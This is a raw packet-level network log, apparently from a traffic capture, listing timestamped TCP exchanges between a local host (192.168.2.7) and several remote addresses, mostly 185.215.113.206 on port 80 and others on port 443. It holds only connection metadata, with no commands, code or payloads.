Nov 19, 2024 20:05:47.570323944 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.570327997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570341110 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570353031 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570362091 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.570363045 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.570365906 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570405006 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.570405006 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.570547104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570560932 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570595026 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.570687056 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570698977 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570709944 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570720911 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570733070 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.570734024 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570744991 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570756912 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570785046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.570785046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.570940971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570960045 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570979118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570983887 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.570991039 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571002007 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571013927 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571024895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571036100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571036100 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.571036100 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.571047068 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571058035 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571069956 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.571069956 CET	52502	443	192.168.2.7	108.139.47.33
Nov 19, 2024 20:05:47.571085930 CET	443	52502	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:47.571108103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.571109056 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.571373940 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571384907 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571396112 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571408033 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571420908 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571441889 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.571441889 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.571470976 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.571500063 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571590900 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.571669102 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571680069 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571686029 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571691990 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571702957 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571716070 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571727037 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571739912 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571751118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571755886 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.571755886 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.571762085 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571774006 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571785927 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571793079 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.571793079 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.571796894 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.571822882 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.572053909 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.577038050 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.577125072 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.577382088 CET	52500	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:47.577460051 CET	443	52500	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:47.580857992 CET	52501	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:47.580878019 CET	443	52501	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:47.581588984 CET	52501	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:47.581599951 CET	443	52501	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:47.581650972 CET	52501	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:47.581657887 CET	443	52501	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:47.590601921 CET	52503	443	192.168.2.7	23.101.168.44
Nov 19, 2024 20:05:47.590617895 CET	443	52503	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:47.593739986 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.593751907 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.599309921 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.599328041 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.599570036 CET	52500	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:47.599570036 CET	52500	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:47.599580050 CET	443	52500	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:47.599618912 CET	443	52500	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:47.601073980 CET	52519	443	192.168.2.7	108.139.47.33
Nov 19, 2024 20:05:47.601110935 CET	443	52519	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:47.601183891 CET	52519	443	192.168.2.7	108.139.47.33
Nov 19, 2024 20:05:47.601550102 CET	52519	443	192.168.2.7	108.139.47.33
Nov 19, 2024 20:05:47.601562023 CET	443	52519	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:47.674998045 CET	52499	443	192.168.2.7	20.110.205.119
Nov 19, 2024 20:05:47.675013065 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.675343990 CET	52500	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:47.675415039 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.691945076 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.691967964 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.691976070 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.691999912 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.692018032 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.692020893 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.692028046 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.692042112 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.692064047 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.692087889 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.692958117 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.693007946 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.693018913 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.693032026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.693090916 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.693090916 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.693092108 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.693103075 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.693181038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.693945885 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.693994999 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694005966 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.694006920 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694122076 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694132090 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694150925 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694163084 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694175959 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.694175959 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.694189072 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.694226980 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.694257975 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694271088 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694381952 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694394112 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694405079 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694417000 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694427967 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.694427967 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.694428921 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694442034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.694575071 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694586039 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.694588900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694601059 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694612980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694624901 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694637060 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.694637060 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.694704056 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.694781065 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694792032 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694803953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694817066 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694825888 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.694828987 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694839954 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.694868088 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.694896936 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.695051908 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695064068 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695075035 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695086956 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695097923 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695110083 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695121050 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695125103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.695125103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.695156097 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.695156097 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.695355892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695367098 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695379972 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695390940 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695400953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695413113 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695425034 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695436001 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695437908 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.695437908 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.695446968 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695455074 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.695470095 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.695523024 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.695765018 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695775986 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695787907 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695801020 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695808887 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.695813894 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695825100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695827961 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.695837021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695847988 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695858955 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695869923 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695872068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.695872068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.695880890 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.695926905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.695926905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.696085930 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696099043 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696150064 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.696150064 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.696233034 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696254015 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696265936 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696275949 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.696275949 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696289062 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696300983 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.696300983 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.696305990 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696316957 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696330070 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696333885 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.696333885 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.696338892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696367025 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.696424007 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.696603060 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696615934 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696628094 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696675062 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.696675062 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.696716070 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696727037 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696738005 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696751118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696763992 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.696764946 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696775913 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696789026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696799994 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696804047 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.696804047 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.696810961 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696821928 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.696878910 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.696878910 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.697272062 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697283983 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697294950 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697307110 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697316885 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697328091 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697339058 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697340965 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.697340965 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.697350025 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697362900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697372913 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697372913 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.697372913 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.697385073 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697396040 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697397947 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.697407961 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697424889 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697452068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.697452068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.697485924 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.697490931 CET	52503	443	192.168.2.7	23.101.168.44
Nov 19, 2024 20:05:47.697854996 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697868109 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697879076 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697890043 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697900057 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697910070 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697911024 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.697911024 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.697925091 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697937012 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697943926 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.697947979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697961092 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697973013 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697976112 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.697987080 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.697993040 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.697997093 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.698009968 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.698031902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.698031902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.698045969 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.698301077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.698313951 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.698326111 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.698337078 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.698348999 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.698354006 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.698354006 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.698359013 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.698395014 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.698395014 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.714632988 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.714664936 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.714670897 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.714684963 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.714709997 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.714711905 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.714718103 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.714736938 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.714766026 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.714793921 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.738356113 CET	443	52499	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:47.738455057 CET	443	52499	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:47.738496065 CET	52499	443	192.168.2.7	20.110.205.119
Nov 19, 2024 20:05:47.740371943 CET	52499	443	192.168.2.7	20.110.205.119
Nov 19, 2024 20:05:47.740390062 CET	443	52499	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:47.782572985 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.782599926 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.782659054 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.782659054 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.782746077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.782757998 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.782769918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.782778025 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.782808065 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.782808065 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.782818079 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.782829046 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.782840967 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.782882929 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.782882929 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.783241034 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.783257961 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.783288002 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.783293962 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.783310890 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.783323050 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.783338070 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.783351898 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.783368111 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.783379078 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.783380985 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.783394098 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.783406019 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.783416986 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.783427954 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.783432007 CET	52448	80	192.168.2.7	185.215.113.206
